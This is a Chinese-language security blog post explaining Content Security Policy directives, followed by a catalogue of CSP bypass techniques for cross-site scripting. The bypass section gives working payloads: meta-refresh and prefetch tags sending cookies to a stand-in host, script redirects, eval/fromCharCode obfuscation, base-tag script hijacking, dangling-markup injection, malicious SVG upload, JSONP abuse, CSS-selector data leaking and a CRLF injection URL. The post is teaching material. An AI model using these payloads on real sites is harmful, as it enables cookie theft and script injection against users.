前端安全之 CSP 及其常见绕过

点击阅读

0x01 CSP (内容安全策略)

1. CSP 是什么?

内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。

使用 CSP 的主要目的就是通过指定有效域防御 XSS 这类的攻击

2. 使用 CSP

  1. 使用 Content-Security-Policy HTTP 头
  1. html 标签
1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

CSP 限制类型

常见:

default-src 能够设置其他指令的值,其他指令为下面这几个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
child-src	//框架
connect-src //HTTP 连接(通过 XHR、WebSockets、EventSource等)
font-src //字体文件
frame-src //<frame> 和 <iframe>
img-src //图像
manifest-src //manifest 文件
media-src //媒体文件(音频和视频)
object-src //插件(比如 Flash)
prefetch-src //prefetch 和 prerender
script-src //外部脚本
script-src-elem //指定<script>有效来源,但未指定内嵌脚本事件处理程序(如onclick)

script-src-attr //和 script-src-elem 相反
style-src //样式表
style-src-elem //指定 rel="stylesheet" 样式的 <style> 和 <link>
style-src-attr //指定单个DOM元素的内联样式有效来源
worker-src //worker脚本

其他:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
base-uri
block-all-mixed-content //HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
default-src
form-action
frame-ancestors
navigate-to
plugin-types //限制可以使用的插件格式
referrer
report-to
report-uri
require-sri-for
sandbox //浏览器行为的限制,比如不能有弹出窗口等
script-src-elem
style-src-elem
trusted-types
upgrade-insecure-requests //自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议

常见选项值:

1
2
3
4
5
6
主机名:example.org,https://example.com:443
路径名:example.org/resources/js/
通配符:*.example.org,*://*.example.com:*(表示任意协议、任意子域名、任意端口)
协议名:https:、data:
关键字'self':当前域名,需要加引号
关键字'none':禁止加载任何外部资源,需要加引号

多个值可以并列,用空格分隔

外部脚本只能从 https://example.com 域中加载,而 default-src 则限制其他资源只从自身加载

script-src 的特殊值

1
2
3
4
'unsafe-inline':允许执行页面内嵌的<script>标签和事件监听函数
unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。
nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
Content-Security-Policy: default-src 'self'; script-src https://example.com

执行有 token 的脚本
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa>
// some code
</script>



Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='

以下除 <script> 标签外的代码 hash 值等于设置值,所以会执行
<script>alert('Hello, world.');</script>

更多参数信息可以到 MDN Docs 查看 Content-Security-Policy - HTTP | MDN

0x02 CSP Bypass

1. URL 跳转

default-src ‘none’ 时

1
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

script-src ‘unsafe-inline’ 时

一些常用 javascript 重定向跳转方法

window.location

1
2
3
<script>
window.location="http://eval.php?c=cookie"
</script>

window.location.href

1
2
3
<script> 
window.location.href="http://baidu.com";
</script>

window.location.replace

1
2
3
<script>
window.location.replace("http://baidu.com")
</script>

window.open // Chrome 和 FireFox 默认会拦截弹出窗口

1
2
3
<script>
window.open("http://baidu.com")
</script>

self.location

1
2
3
<script> 
self.location='http://baidu.com';
</script>

top.location

1
2
3
<script> 
top.location='http://baidu.com';
</script>

有个 window.navigate 只针对 IE,所以不推荐

1
2
3
<script>
document.location="http://baidu.com"
</script>
1
2
3
<script>
location.href="http://baidu.com"
</script>

img、video、audio、iframe、a 等标签的 src 或 href 发起外域请求

script-src ‘unsafe-eval’ 时

使用 eval 函数,结合 fromCharCode 可以 Bypass 一些常见过滤

1
2
3
4
5
6

// c = 'document.location="http://baidu.com"'

<script>
eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 98, 97, 105, 100, 117, 46, 99, 111, 109, 34))
</script>

标签预加载

1. dns-prefetch

dns-prefetch(DNS预解析) 允许浏览器在后台提前将资源的域名转换为 IP 地址,当用户访问该资源时就可以加快 DNS 解析

default-src 'self'; script-src 'self' 'unsafe-inline'; 时可以使用

1
<link rel="dns-prefetch" href="//[some thing].xxxx.ceye.io">

但是测试 FireFox 好像不大行

注意替换域名的特殊字符满足域名的规则 [.-a-zA-Z0-9]+

2. prefetch

Link Prefetch (页面资源预加载)

它利用浏览器的空闲时间来下载或预取用户可能在不久的将来访问的文档。
网页向浏览器提供一组预取提示,并且在浏览器完成页面加载后,它开始以静默方式预取指定的文档并将其存储在其缓存中

1
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">

但是本地测试新版 Chrome 和 FireFox 未成功

标签补全

比如使用 Content-Security-Policy: default-src 'none';script-src 'nonce-abc',当 nonce 相同才能执行脚本时

如果是类似下面情况

1
2
<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

插入 <script src=//xxx x=", 结果为

1
2
<p><script src=//xxx x="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

虽然语法上提示有错误,但本地测试没有问题

xss 平台记录

上传 JS 文件并引用

Content-Security-Policy: default-src 'self'; script-src 'self'

像这种只能加载同域 script 的 CSP 策略,就得从其自身域内下功夫了, 也可以控制其域内某个主机

其实也不一定非得是正常的 js 文件,如果有上传点,将 js 代码放在文件中,即文件中的内容被作为 js 代码解析

base 标签改变资源加载域

default-src 默认并不会设置 base-uri,所以当遇到设置了 default-src 却没有 base-uri 时可以使用 base 标签更改页面上下文,这时页面中使用相对路径的 script 就可以加载 base 标签地址中相应的内容

1
2
3
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//my_ip/">
<script nonce='test' src="2.js"></script>

script 会请求 my_ip/2.js

代码重用

就是利用 JS 库绕过 CSP

Blackhat 2017

Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

同源 iframe 绕过

一个同源站点,存在多个页面,这时如果其中有一个页面没有 CSP 保护或者不严格而存在 XSS 漏洞,则可以使用 iframe 访问其他页面以绕过 CSP 限制

1
2
3
4
5
6
7
8
9
10

<iframe src="other csp page"></iframe>



<script>
var iframe = document.createElement('iframe');
iframe.src="other csp page";
document.body.appendChild(iframe);
</script>

meta 标签

绕过 CSP nonce

1
<meta http-equiv="cache-control" content="public">

svg 上传

如果能上传 svg 矢量图片的话,就可以使用 svg 进行 xss

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

可控 JSONP 绕过

通过 JSONP 返回 js 数据,再借助 script 加载 js

举个栗子

1
<script src="http://ip/js.php?f"></script>

js.php 内容

1
2
3
4
5
6
7
8
<?php
header('Content-type: application/javascript');
if (isset($_GET['f']))
{
$src = 'http://baidu.com';
echo 'window.location="'.$src.'"';
}
?>

即可成功跳转,这种情况利用姿势很多,比如执行任意 js 函数等等

object-src 绕过

object-src 用于设置插件,所以说,如果站点 CSP 设置没有 object-src 或值非 ‘none’ 则可以利用插件 js 执行弹窗或跳转操作

flash-xss 或者 pdf-xss

缓存绕过 CSP nonce

通过浏览器缓存来bypass CSP script nonce · LoRexxar's Blog

CSS 选择器绕过 CSP

CSS 选择器来读取页面内容,匹配到对应的属性,页面就会发出相应的请求

1
2
3
*[attribute^="a"]{background:url("record?match=a")} 
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")} [...]

CRLF

通过 CRLF 可以注入 HTTP 头,也就可以注入 xss 代码

比如

1
http://test.com/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

详细可以看 phithon 的文章 CRLF Injection

0x03 总结

虽然 CSP 在很多时候并不能完全防御 XSS,但大多是因为配置不当等造成的,CSP 仍然有着它自身的价值,综合业务进行合理 CSP 配置并与其他技术结合才是正解

终极防护:全面禁止脚本

Reference:

https://wulidecade.cn/2018/09/24/CSP-And-CSP-Bypass/
http://www.ruanyifeng.com/blog/2016/09/csp.html
https://xz.aliyun.com/t/5084

文章作者: J0k3r
文章链接: http://j0k3r.top/2019/11/19/csp-bypass/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog